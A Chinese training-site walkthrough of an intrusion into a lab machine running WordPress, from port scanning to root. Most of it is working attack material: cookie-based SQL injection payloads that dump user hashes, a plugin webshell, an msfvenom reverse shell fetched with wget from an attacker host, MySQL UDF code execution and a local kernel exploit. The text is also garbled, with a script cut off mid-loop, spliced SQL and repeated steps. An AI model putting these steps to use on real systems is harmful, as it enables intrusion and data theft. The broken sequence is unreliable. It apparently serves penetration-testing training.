当前位置:网站首页 > 黑客培训 > 正文

靶机端口扫描到域渗透(上)

freebuffreebuf 2020-11-20 325 0

本文来源:henryz

一、扫描端口

sudo nmap -sS -sC -p0-65535 target.com
-sS:tcp SYN方式扫描,是tcp半开式的扫描,速度较快
-sC:等价于--script=default,使用默认的脚本进行扫描
-p0-65535:指定全端口扫描

在对靶机的扫描中,发现只开放22和80端口,80端口是一个wordpress网站,进行下一步

二、web渗透

web信息枚举

目录扫描:

dirb target.com

WordPress 漏洞扫描:

wpscan --url target.com --enumerate ap,at,cb,dbe -o sandox-wpscan -f cli-no-color

漏洞搜索:

searchspliot ocean

wpscan扫描出ocean等组件,然后用searchsploit发现有sql注入等多个漏洞,进行下一步测试

SQl注入

通过searchsploit搜索到此处cookie中存在注入点

成功得到回显后,继续注入

["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
#查找表名
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,table_name,11FROM information_s
chema.tables#"]
#查看有哪些字段
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,column_name,11FROM information_
schema.columns WHERE table_name='wp_users'#"]
#查看字段内容
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_login,11FROM wp_users#"
["1650149780')) OR 1=2 UNION SELECT 1,2,3,4,5,6,7,8,9,user_pass,11FROM wp_users#"]

拿到密码hash之后,可以使用kali的john工具和rockyou密码本尝试破解

john--wordlist=/usr/share/wordlists/rockyou.txt pass.txt

成功登录后台管理页面

后台管理页面getshell

后台在管理页面上传插件处,上传一个webshell

#安装seclists,用里面的插件来getshell
sudo apt install seclists
cd /seclists/Web-Shells/WordPress
#上传plugin-shell.zip,安装插件并测试
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=whoami

通过msf生成一个shell,传到宿主机

#生成shell
msfvenom-p linux/x86/meterpreter/reverse_tcp LHOST=xx LPORT=443 -
f elf > shell.elf
#本地搭建http服务器
python3-m http.server 80
#宿主机远程下载shell
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=wget%20http://x.x.x.x/shell.elf
#shell文件加执行权限
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.ph
p?cmd=chmod%20%2bx%20shell.elf
#本地开启监听
sudo msfconsole-q-x "use exploit/multi/handler;\
>             set PAYLOAD linux/x86/meterpreter/reverse_tcp;\
>             set LHOST x.x.x.x;\
>             set LPORT 443;\
>             run"
#触发
curl http://xx.xx/wp-content/plugins/plugin-shell/plugin-shell.php?cmd=./shell.elf

继续枚举

使用msf来枚举信息

#进入msf的交互shell
shell
#枚举基本信息
ifonfig
hostname
cat /etc/issue
cat /proc/version
#查找数据库配置信息
pwd
#查看wp-config.php文件,找到数据库相关信息,包括数据库ip和密码
cat wp-config.php

端口转发到本地

#在msf里面上传nmap或编写脚本,在宿主机上进行端口扫描
upload /home/kali/portscan.sh /tmp/portscan.sh
chmod +x portscan.sh
#脚本内容如下
#!/bin/bash
host=x.x.x.x
for portin {1..65535}; do
timeout .1 bash-c "echo >/dev/tcp/$host/$port"
create function sys_exec returns int soname udf_filename;
select * from mysql.func where name='sys_exec'\G
#使用udf提权exp
git clone https://github.com/mysqludf/lib_mysqludf_sys.git
make
gcc -Wall -I/usr/include/mariadb/server -I/usr/include/mariadb/ -I/usr/include/mariadb
/server/private -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
#转换为16进制内容
xxd -p lib_mysqludf_sys.so | tr -d '\n' > lib_mysqludf_s
ys.so.hex

set @shell =0x7f454c4602010100000000000000000003003e000100000000110000000000004000000000000000e03b0000000000000000000040003800090040001c001b0001000000040
00000000000...00000000000000000000;
#检查变量定义是否成功
select @@plugin_dir
#执行导出文件夹,失败,提示无权限,没有dumpfile的权限
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so

三、提权

使用searchsploit 模块寻找ubantu16.4相关的提权模块

searchsploit ubuntu 16.04
#找到一个合适的exp,进行编译
gcc 45010.c -o 45010
#在msf下传提权脚本到宿主机
upload /home/kali/45010 /tmp/
#执行
chmod +x 45010
select @@plugin_dir;
select binary @shell into dumpfile '/home/dev/plugin/udf_sys_exec.so
create function sys_exec returns int soname 'udf_sys_exec.so';
select * from mysql.func where name='sys_exec';
#本机搭建http服务传文件
python3 -m http.server 80
#宿主机下载shell
select sys_exec('wget http://10.11.0.4/shell.elf');
select sys_exec('chmod +x ./shell.elf');
#监听并获得一个mysql用户的shell
whoami
-mysql

此时,我们已经有了root及mysql的权限,可以和一台宿主机交换公钥建立稳定的ssh,继续进行内网渗透

转载请注明来自网盾网络安全培训,本文标题:《靶机端口扫描到域渗透(上)》

标签:渗透技巧渗透测试总结渗透利用

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表